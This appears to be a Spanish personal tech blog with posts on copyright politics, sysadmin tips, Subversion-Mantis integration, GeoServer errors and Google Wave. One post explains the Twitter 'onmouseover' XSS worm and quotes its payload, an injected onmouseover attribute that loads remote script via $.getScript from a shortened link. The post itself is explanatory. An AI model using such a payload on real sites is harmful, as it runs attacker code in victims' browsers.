Por favor, SGAE, denme alternativas

Mucho se ha hablado sobre la ley Sinde, #nolesvotes, SGAE, y derechos de autor. No voy a añadir nada nuevo al tema, ya que hay mucha gente más cualificada que yo para hablar sobre el tema.

Voy a hablar desde un punto de vista que creo que no se oye ante tanto ruido de ambas partes, y es el del consumidor de cultura y usuario de internet, y como dijo Alex de la Iglesia, los que somos sólo ciudadanos.

¿Industria o cultura?

Un ciudadano se despierta y lee estas declaraciones de Luis Cobos, y algo huele a chamusquina. Sin tener que ser un lumbreras uno se da cuenta que los “artistas” juegan mucho con la dualidad “cultura/industria”. Para unas cosas somos industria, y para otras somos cultura. Somos industria y requerimos que no se distribuya nuestro producto o perdamos el control sobre él, pero luego queremos subvenciones (que no se dan tan a la ligera si eres una empresa privada o autónomo) porque somos cultura, derecho de todo ciudadano.
O mejor aun, creamos los incentivos para modernizar el sector, repartidos por el Ministerio de Cultura, de manera que al final no repercutirá en ninguna mejora, donde simplemente no se demuestran ni se obliga a demostrar unos resultados obtenidos, sino que sólo se justifican los gastos.

Al final, todo parece que se resume: un lobby con mucho peso en el gobierno de turno que obliga a hacer lo que les interesa, sin mirar a su alrededor para observar como evoluciona su medio.

Mi realidad, y la vuestra

Un ciudadano como yo, como casi todo el mundo que vive en este planeta, tiene un trabajo, que suele ser una industria en su aplicación más general del término de la palabra, y la verdad para ser sincero, me gusta que me paguen por él, y a poder ser, en su justa medida… bueno, incluso por encima de lo que uno se merece.
Cuando analizo como funciona mi rol dentro de este sistema capitalista, básicamente, todo puedo resumirlo en:

  • Realizo un trabajo, de ocho o más horas al día, y genero algo de valor. En caso, realizo tareas que dan lugar a valores intangibles, mucho más complicados gestionar y valorar.
  • Estos vienes, se enajenan de mí, y mi empresa revende a casi el doble de lo que vale a otros consumidores, para pagarme el sueldo, y otros gastos generales.
  • Con esto, todos ganan (unos más que otros), yo cobro mi sueldo, mi empresa tiene un margen de beneficio, y el cliente tiene un producto por un precio que había fijado previamente.
  • Y vuelta a empezar…

Si un artista entrara dentro de este circulo de creación de bienes, no habría problema: sois una industria, ajustaros a las normas que rigen este sistema. De hecho, opino firmemente que un artista, como trabajador, merece una gratificación monetaria, como los albañiles, los policías, etc… Y el “todo gratis” no es una opción válida. Pero claro, si los “artistas” no se saltaran dos fundamentos de este sistema:

  • Un artista, productora, editorial, etc… NO se quiere enajenar de su obra. Le pertenece más allá de la creación de su valor. Como casi todos los que generamos bienes intangibles, ponemos propiedad a algo que no se puede tener en las manos. ¿Tiene esto sentido?.
  • Jugar con la dualidad cultura/industria. ¿En que quedamos?.

Pero sigamos abstrayendo el problema. En el hipotético caso que haya un competidor que mejore el producto, y mi trabajo quede atrasado, simplemente me adapto, mejoro (aunque no necesariamente sea una mejora) y me adapto a las nuevas necesidades (reales o creadas).

Aplicado a la SGAE, AIE, o similares. Ellos tienen un modelo de negocio, y el cliente, observa otros modelos que están apareciendo, mucho más atractivo, y accesible (me encanta el ejemplo de Spotify). Pues bien, nuestros queridos “jefes” hacen lo siguiente:

  • Presionan al gobierno de turno, para lograr cambiar las leyes, quitar unos derechos a los ciudadanos y así obligar a mantener su modelo de negocio.
  • Aplicar todos los derechos adquiridos de manera brutal y déspota.
  • Criticar cualquier modelo que no sea el tuyo. Copyleft suele ser un buen saco de boxeo. Sólo hay que leer a Teddy Bautista.

Y lo peor de todo. El gobierno, actual y anteriores, han mimado esta forma de comportarse. Con un canon, que suena a chiste, permitiendo que una entidad privada (en mi barrio las solemos llamar empresas) recaude un impuesto y lo imponga de manera indiscriminada y sin distinción. Con una ministra del Cultura, que ha aportado poco a la cultura (por favor, mirar su curriculum, no os defraudará) pero que es del agrado de dicha organización y otras organizaciones satélites.

Total, un ciudadano se siente estafado y ultrajado. Ellos hacen lo que quieren, respaldados por una “legalidad” que cambia a su antojo y nosotros sólo tenemos que aflojar la pasta.

Adaptarse o morir

Vayamos al grano, querida SGAE. Adaptarse o morir. Ley universal no escrita, que ustedes parecen no querer acatar.

Pongamos un ejemplo. En la informática, un sector que evoluciona a un ritmo difícil de seguir, hay un ejemplo claro de lo que significa evolucionar. Al principio, los ordenadores incluían una disquetera, con lentos y ruidosos disquetes, que apenas tenían capacidad de almacenamiento. Muchas empresas se lanzaron a substituir este medio de almacenamiento, como por ejemplo, unidades “Jaz“, discos magnéticos, y entre ellos el CD que a la postre fue el gran ganador. Los creadores de las disqueteras no montaron un lobby, no obligaron al uso del disquete, ni tan siquiera se quejaron. Olvidaron aquella tecnología y se adaptaron.

Es cierto, que cuando se está en una situación tan privilegiada que puede estar los lobbies actuales del entretenimiento, es sencillo llegar a pensar que se puede obligar a involucionar a los clientes finales y mantener el producto tal y como lleva años funcionando, aunque el cliente ya no quiera tu producto (entonces son criminales o llevan parche en el ojo) y otros ya ofrezcan otros productos que gustan más (tratar de marginar, o ignorar). Aparte, para lograr mantener el negocio rentable, imponen un impuesto a todos los que usen algo que puede almacenar su producto… el suyo y cualquier otro producto, claro esta. O incluso cosas más ridículas se ven en sus paisanos de otros lugares.

¿Si en vez de ser la SGAE vendieran mesas, o disquetes, o estufas de carbón, que sería de ustedes?. Ya se lo digo yo. Habrían colgado el cartel de cerrado hace tiempo, pero claro, tener la inestimable ayuda de un gobierno que le ayuda a recaudar un impuesto a una entidad privada hace que se pueda mantener mucho el negocio.

Sólo quiero una solución

Ahora releyendo mi entrada, veo que es demasiado parcial, pero quiero reconducir esto. Hagamos borrón y cuenta nueva. Ustedes quieren un negocio, y yo quiero consumirlo sin miedos ni sentirme estafado. Sólo quiero una solución realista y ajustada a mis necesidades, ya que soy sin lugar a dudas, un cliente.

Resulta que ninguna de las leyes que ha fijado el gobierno, ni los ataques de la SGAE, ni los artistas llorando porque no pueden cambiar de Mercedes,… nada de eso me ha hecho dejar de bajar música salvo una cosa: Spotify. Y no soy el único que se ha dado cuenta de que estas herramientas son las que de verdad están funcionando (este artículo de Enric Corella es magnifico sobre este tema), por lo tanto fijémonos en estos modelos exitosos, y tratemos de hacer algo parecido, aplicado a España y que haga que todo el mundo se sienta feliz.

Resumiendo: No quiero hundir a la SGAE, no quiero que los artistas pierdan sus mansiones en Miami, no quiero destruir la industria del entretenimiento. Quiero que evolucione, como ha evolucionado todo a lo largo de los últimos años. Ya no quiero CDs, quiero streaming. Ya no tengo un video VHS al lado de mi televisión, tengo un ordenador. No hay vuelta atrás, y necesito que me deis una alternativa a lo que me ofrecéis… Recordar, soy vuestro cliente, y el cliente siempre tiene razón, ¿o no?

Please follow and like us:

Aprendiendo a programar en Android

Cuando empiezas a programar en algo (ya sea un lenguaje, dispositivo, paradigma o lo que sea) siempre se agradece un buen manual para empezar, y conocer al menos los principios básicos para empezar.

Muchos usamos los libros como fuente de referencia, pero Internet siempre nos sorprende con gente que nos ofrece “sabiduría” de manera desinteresada, en forma de manuales.

En este caso, aquí os dejo un buen manual para empezar y evolucionar en la programación en Android, desde montar el entorno para desarrollar, hasta manejo de XML, a crear tus controles… Muy bueno, no os lo perdáis.

Desarrollo en Android

Please follow and like us:

Como usar “shapelib.dll” para entornos x64 de Windows

Vaya follón… y vaya trabajo. Encontrar una “shapelib.dll” en x64 para un proyecto en Windows.

Si queréis usar esta magnifica librería (si no sabes que hace, casi seguro que no la necesitas) en vuestros proyectos en sistemas operativos de Windows os tocará recompilar el código ya que no hay un binario directamente publicado en ningún sitio (en linux si está… en Windows son mas vagos 😛 ).

Os voy a solucionar el problema, y os pasaré el binario compilado, para equipos con entornos x64 de Windows.

[Shapelib 1.2.10 para Win x64]

Un saludo.

Please follow and like us:

Monitorizar tu servidor con “vmstat”

Tras oír el magnifico podcast (junto con la entrada en su blog que resume todo lo hablado) de DaboBlog junto con Ricardo Galli sobre sus experiencias como SysAdmins, el cual recomiendo encarecidamente oír, ya que cuentan de manera muy amena, y con ejemplos, su día a día administrado un sistema.

Tras oírlo tuve la curiosidad por uno de las utilidades de las que hablaron y que no utilizaba (sencillamente nunca me he visto en la necesidad).

Esta herramienta es vmstat, que nos permite monitorizar lo que pasa dentro de nuestro servidor a nivel de hardware… memoria, discos, procesos, y demás partes oscuras de nuestro sistema.

Tras leer un poco he visto que esta herramienta es totalmente imprescindible cuando su servidor baja de rendimiento y quieres saber el porqué. Si alguna vez te has enfrentado a este problema sabrás lo complicado que es en ocasiones, pero estas herramientas nos permiten hacernos una idea global con un vistazo.

Para hacernos una idea, las cosas que tenemos que tener en mente es lo siguiente:

  • La columna “swap” nos indica la actividad de la paginación, en la subcolumna “so” nos indica la paginación en el sentido memoria->disco. Si ves que hay números elevados, sin duda te has quedado sin memoria, y tiene que mover cosas a disco ya que no entran en memoria.
  • La columna “procs” nos indica el estado de los procesos, en la subcolumna “r” encontramos los procesos que están esperando por el uso del procesador.
  • La columna “memory” nos indica el estado de la memoria, en la subcolumna “free” nos indica la memoria libre. No creo que tenga que decirte que significa cuando llegamos a 0.
  • La columna “cpu” nos indica en que estamos gastando (o perdiendo) el tiempo de CPU, en la subcolumna “wa” os indica el porcentaje de espera por E/S de la CPU. Es especialmente útil cuando queremos ver en que pierde tiempo nuestra CPU (os recomiendo este documento)

Quizás sólo con esto no logres descubrir el 100% de los problemas que se pueden dar en tu servidor, pero sin duda son una buena guía para empezar una investigación.

Referencias que he usado para escribir este artículo:

Please follow and like us:

Como utilizar una controladora LSI Logic SAS 1064e con Ubuntu/Debian

¿No habían pasado los tiempos de los Winmodem?, yo pensaba que si, que todo eso estaba solucionado, hasta que me he enfrentado al reciclaje de un servidor, quitando Windows y instalando una distro de Linux y me encuentro con los RAID-Software. Os cuento lo sucedido:

Imagen: www.kerneltrap.org

Imagen: www.kerneltrap.org

Uno tan feliz, mete el CD de Ubuntu, y se encuentra que: ¡¡¡¡No detecta ningún disco!!!!!. Este ordenador monta una placa Intel s5000spl, con una controladora “LSI Logic SAS 1064e“, que es algo parecido a los clásicos Winmodems, donde tiene una mezcla entre firmware y software que nos vuelve locos si no usamos un sistema operativo soportado.
A esta controladora, inicialmente le montamos un RAID 10 con 4 discos (el RAID 10 no nos quedo más remedio, ya que otra gracia de la placa es que si quieres RAID 5 tienes que poner 100 euros en la mesa, y en el bolsillo de Intel, para que te den una especie de jumper que habilita usar RAID 5 en la placa) y confiamos que funcione… Obviamente no pasó así.
Joder, a buscar los malditos drivers, y te encuentras algo muy molesto: Sólo soporta RedHat o Suse. ¿Lo qué?… La liamos.

Bueno, resignado, busco el código fuente del driver (que te lo dan eso si) y veo que se puede compilar el módulo para el Kernel, pero que tiene un problema: el código fuente del driver no funciona directamente en el Kernel de Ubuntu/Debian. Aparte, si usas un driver precompilado, NO puedes actualizar el Kernel, ya que tendrías que volver a adaptar otra vez el driver… trabajo de chinos.

Total, me rasgo las vestiduras. A la mierda, RAID por software… pero, ¿como leches hago para que se vean los discos?. Tras investigar, encontré un montón de información y vi que la controladora si estaba soportada, pero que a mucha gente no le funcionaba. ¿Pero por qué no funciona?.
Bueno, tras otro rastreo por los foros de ayuda de Ubuntu y el Bug Tracker de la distro , leo que al parecer la parte hardware si esta soportada, pero la parte que montan software no, ya que es propietaria.

Bueno, pues a la mierda con la parte software y todo arreglado. Simplemente hay que ir a la bios y en el apartado de “Mass Storage“, deshabilitar la “SW Raid“. Entonces, al instalar te apareceran los discos SIN el Raid que tenga configurado la controladora. Y ya tranquilamente puedes montar tu software-raid sobre linux, y ahora si podremos montar un RAID 5 como dios manda.

Otra batalla ganada.

Please follow and like us:

Unir Subversion con MantisBt, sin complicaciones.

Cuando trabajamos de manera “seria” en proyectos de desarrollo software, hay una parte muy importante que es utilizar una buena herramienta de control de versiones, y un buen gestor de incidencias o bugs.

Personalmente, llevamos bastante trabajando con Subversion en mi empresa sin grandes quejas, lo cual nos permite mantener los desarrollas saneados y controlados… aparte de saber quien metió la pata en un programa, ya que sabemos quien modifica cada línea del programa.

Hace unos meses, nos dimos cuenta que necesitábamos un control de las incidencias que encontrabamos, y incluimos en nuestros sistemas MantisBt que sustituyó a las clásicas hojas escritas con todos los problemas encontrados :P. Todo un clásico para todo desarrollo informático.

Ahora bien, nuestro sistema de trabajo era muy simple, desarrollar, probar y luego subir a Subversion, y revisar más tarde Mantis para cerrar las incidencias resueltas.

Pero no paramos en este protocolo para el control de nuestros desarrollos y quisimos integrar ambos sistemas, con el siguiente objetivo: cuando subamos una revisión a Subversión, automáticamente se cerraran las incidencias asociadas, que indicaremos en el comentario de la revisión.
Tras investigar un poco por la red, encontramos una forma muy limpia, sin tener que programar, gracias a que ya habían desarrollado un plugin para integrar los dos servicios de manera bastante sencilla.

  1. Al menos tener la versión 1.2.x de Mantis (en nuestro caso la 1.2.3), y Subversion, cualquier versión por encima de 1.3.x, (en nuestro caso la 1.6.6). Tener acceso a un usuario con acceso a los repositorios y ser administrador en Mantis.
  2. Ir a la web del creador del plugin (por si tienes curiosidad, aquí tienes el Mantis del plugin), y bajarte los plugins que indica de este repositorio git. Son solo dos: “meta” y “source-integration“. Desde allí mismo nos permite bajar un snapshot en tar.gz.
  3. Descomprimimos y vemos que el plugin “source-integration” tiene una carpeta “Source” y luego otras carpetas para cada unos de los servidores de control de versiones soportados (Git y SVN). En el caso del SVN, podemos usar directamente el protocolo SVN o a través de WebSVN (en mi caso, use directamente el protocolo SVN), copiando sólo la carpeta “Source” y “SourceSVN“.
  4. Lista de Plugins

    Lista de Plugins en Mantis 1.2.3

    Una vez tengamos copiados las carpetas (ojo es importante que sean las carpetas que contienen los ficheros php) en el directorio “plugins” del directorio donde se encuentra Mantis, ir al interfaz de “Administración > Administrar Plugins“, e instalarlos, respetando las dependencias que muestran.

  5. Ahora seguimos las indicaciones que se indican en esta web, que son mucho más detalladas que las de su creador. Sólo hay una discrepancia: Todo se configura a través del plugin “Source Control Integration“, solo rellenando el campo “SVN: Path to binary“, en mi caso con “/usr/bin” en una Ubuntu 10.04 server.
  6. Ahora si queremos adaptarlo al castellano, cambiamos “Bug Fixed Regex Pass 1”, por algo parecido a:
    /(?:corregido?d?s?|arreglado?s?)+\s+(?:#(?:\d+)[,\.\s]*)+/i
    

    Así cada vez que escribamos esto (“arreglados #001 #008”) en un comentario de un commit de Subversión, cerraremos los bugs asociado en el mensaje.

  7. Se puede cambiar muchas más opciones, pero lo dejo a vuestra investigación. Nosotros no indagamos mucho más. Hay muchas más información en: aquí.
  8. Obtener la ruta de un repositoro

    Ahora aparecerá una nueva sección en los apartados principales de Mantis, llamado “Repositories”. Al entrar, podremos añadir un repositorio que controlar, en nuestro caso, hemos seleccionado el protocolo “SVN”, por lo que tiene que tener usar ruta el repositorio que empiece por “svn://”, y que tendréis que conocer si tenéis el repositorio en nuestro equipo (en Windows sólo hay que seleccionar la carpeta que tiene el repositorio en nuestro ordenador, y en propiedades, en la pestaña de “TortoiseSVN”, esta la ruta con el protocolo SVN). Recuerda que tienes que dar un usuario existe en Subversion, no en el sistema.

  9. Tras esto, pulsamos en “Import Latest Data“, y si no hay ningun error, tendremos un mensaje que nos indica hasta que revisión ha logrado importar. Si tienes muchas revisiones, puede dar un timeout, por lo que tendrás que volver a darle o aumentar el tiempo de timeout de servidor.

Ya está… Bueno, realmente no. Con esto esta conectado, pero cuando subamos un revisión a Subversion, veremos con desesperación que no se refleja en Mantis. ¿Porqué?. Bueno, en teoría, tendríamos que importar los datos cada vez desde el interfaz de Mantis. Esto, claramente, no es lo que buscamos, ya que queremos una experiencia “automática”. Para remediarlo, podemos automatizar la adquisición de los datos de los repositorios mediante una tarea programada. En nuestro caso:

  1. Editar el fichero “/etc/crontab“:
    # Integracion subversion y mantis
    */5 *   * * *   svn     curl "http://localhost/mantis/plugin.php?page=Source/import&id=all" >> /tmp/updateMantisFromSVN 2>&1
    

    Yo, al principio y por depuración, incluyo la redirección a un fichero, tu puedes cambiarlo a “/dev/null” por ejemplo.
    También, se puede cambiar la frecuencia, en este caso está puesto cada 5 minutos, que quizás sea un poco exagerado, y se podría subir.

  2. Nos tiene que devolver algo parecido a esto:
    <pre>Requesting svn log for Repo 1 starting with revision 28...
    Processing svn log...
    No revisions parsed.
    </pre><pre>Requesting svn log for Repo 2 starting with revision 9...
    Processing svn log...
    No revisions parsed.
    

    Y ya tenemos todo el tinglado montado.

Please follow and like us:

¿Cómo funcionaba el último error de twitter: “onmouseover”?

Si usáis Twitter os habréis dado cuenta que ha sido un caso, cientos de comentarios raros que al movernos sobre ellos ocurría cualquier cosa, desde hacer un RT automático a vaya usted a saber quien, hasta recibir mensajes raros de tu navegador.

El culpable era un mensaje como este, que aparecía en tu timeline:

http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:\u002f\u002fis.gd\xxxxxxx')"/

Analicemos este mensaje, ya que usa un acortador de url “http://t.co” y justo delante, lleva una @, lo que en el mundo de Twitter suele significar que estamos respondiendo a un usuario (por ejemplo @twitter). El problema viene cuando la @ se identifica erróneamente como que se quiere indicar un usuario (¿en una url?) y el texto que viene después se asume que es un nombre de un usuario, y se escribe en el código de la web siguiente (si, como oyes) por lo tanto donde iría un nombre de usuario, ahora va un bonito código html con su javascript integrado.

Mucha mas información aquí.

Please follow and like us:

¿Google ha fracasado con Wave?

Sentado en mi tumbona, con una cervecita en la mano, disfrutando del veranito alejado de todo esto de la tecnología y demás, no he podido evitar leer la noticia del “abandono” de Wave por parte de Google.

Yo, que soy de natural pasivo (mi madre dice “vago”), he esperado tranquilamente a leer a las “grandes mentes” que opinan de esto, para luego ver como evolucionaba el tema y lograr tener una visión más clara. Obviamente es muy sencillo hacer un gran titular y cerrar un post que sabes que tendrá muchas visitas sólo por el encabezamiento apocalíptico (un “Google cierra… el mundo se acaba” es lo que pide el cuerpo).

Ciñámonos a lo que acontece: Google no continúa con el desarrollo de Wave. Vale, hasta aquí correcto. Google reconoce que su producto no ha cuajado, sea por lo que sea, y libera el código fuente, prometiendo que otros productos de la casa usarán lo aprendido en el desarrollo de Wave.

¿Ha fracasado?. Tecnológicamente, no. De hecho, Wave funcionó al final bastante bien, y hacia lo que prometía. Era un producto totalmente innovador, que iba bastante adelantado a cualquier herramienta colaborativa actual. Por lo tanto no han fracasado en esta faceta.

En cambio, en cuanto a “vender el producto”. Pues casi lo logran, si no hubieran tenido en cuenta que no orientaron (ni bien ni mal) lo que ofrecían: ¿Correo en tiempo real, Wikipedia evolutiva (os juro que he leído este término), herramienta colaborativa,…?. Todavía se recuerda la presentación que se hizo por su parte, que generó un ruido increíble en la comunidad, donde se mendigaba (incluso vendía) una invitación para usar Wave, para luego, al usarlo, quedarte mirando la pantalla de tu ordenador y pensar… ¿para que coño sirve esto?. Por lo tanto, si han fracasado en esta tarea de comunicar el objetivo de la herramienta, y donde creo que Google sigue fracasando: lanza un producto al público en general y lo deja ahí sin más, incluso el soporte lo da la comunidad que se forma siempre alrededor de un producto de Google (se esta viendo muy claro con Android, e incluso con Chrome). ¿Esto es correcto?, ¿es una buena política?.

Partamos de la idea de que Google hace muchas cosas sabiendo de antemano que no obtendrá beneficio, al menos directo. Google regala servicios a cambio de incluir publicidad, y para conocer nuestro hábitos (esto es lo más importante) para mejorar su publicidad. Google lanza globos sonda tecnológicos (se puede permitir ese lujo), innova con productos sin un “destino” definido (abocados al fracaso directamente), sabiendo que muchas de las cosas que va a lanzar se quedaran en el camino (Blogger… a medias en todo), pero no para de innovar y lanzar cosas, no le importa. El dinero no entra en la gran “G” por sus servicios que proporciona gratuitamente al usuario final, si no por su red de servicios que despliega que tiene una meta “oculta” (ya no tanto) que es mejorar su red de publicidad. ¿Recuerdas porqué servicios Google cobra?… Pocos, si enumeramos todos los que ofrece. Y si quitamos los “premium”, tipo Picasa, se cuentan con los dedos de la mano.

También es cierto que la venta de sus productos para empresas, los famosos Google Apps, que la gente empieza a ver con buenos ojos ya que “es de Google”, gracias la imagen de empresa puntera y la calidad de servicio que se espera de esta empresa, la cual se logra con “fracasos” como Wave y “victorias” como el Gmail.

Mientras Wave se diluirá entre el resto de los servicios que ofrece Google, de nuevo, el gigante ha demostrado que va muy por delante de cualquier competidor, que ha desarrollado una tecnología hasta ahora desconocida y encima, no tener  problema en mostrarla, dejar que juguemos con ella. El gigante se puede permitir lanzar productos, fracasa, o dejarlos a medias. No es problema que fracase, mientras mejore su imagen.

Please follow and like us:

Geoserver y las extensiones “ImageIO-ext” no se llevan bien con Tomcat (>= 6.0.24)

Parece que tenemos un problema, Houston. Y uno gordo.

Muchas de las personas que utilizamos Geoserver como servidor de mapas, nos hemos decidido por la combinación Geoserver+Tomcat, ya que parece una forma “ordenada” y “optimizada” de implantar un servidor de mapas.

Pero todo tiene problemas.

Si hemos instalado las extensiones “ImageIO-ext” para obtener la posibilidad de usar muchos más formatos de fuentes de cartografía en nuestro servidor, y por casualidad hemos actualizado a una versión de Tomcat por encima de la 6.0.24 (inclusive) nos encontramos que al intentar usar un formato de los que nos da soporte las extensiones “ImageIO-ext”, encontramos este fantástico error:

Caused by: java.lang.IllegalArgumentException: Incorrect input type!
       at javax.imageio.ImageReader.setInput(ImageReader.java:290)
       at it.geosolutions.imageio.gdalframework.GDALImageReader.setInput(GDALImageReader.java:838)

¿Yuhu?. Bueno, al menos, es un error reconocido por la gente de Geoserver y ahora mismo esta trabajando en ello, aunque no creo que tengan una solución próxima, ya que el problema esta en la extensión, no en el servidor Geoserver. La extensión tiene un problema de “leak” de memoria en ciertas condiciones, y las nuevas versiones de Tomcat tiene un nuevo mecanismo que detecta esto fallos que pueden peligrar el buen funcionamiento del servidor y hacen que no permita el registro de la extensión en el sistema (et voilà, ya no tenemos acceso a la extensión).

Aunque haya algún “workaround” a la vista, como deshabilitar dicho mecanismo de protección anti-fugas de memoria en el servidor Tomcat. Aunque esperemos que no quede mucho para que lo solucionen de una manera mas “fina”.

Referencias:

Please follow and like us:

Como optimizar todas las tablas de una base de datos MySQL

Simplemente poniendo esto en una consola (y conociendo el password de root o usuario con privilegios) y observando como el programa hace el trabajo:

mysqlcheck -u root -p --auto-repair --check --optimize --all-databases

Si tu “root” no tiene password sólo quita el “-p” para que todo funcione.

Please follow and like us: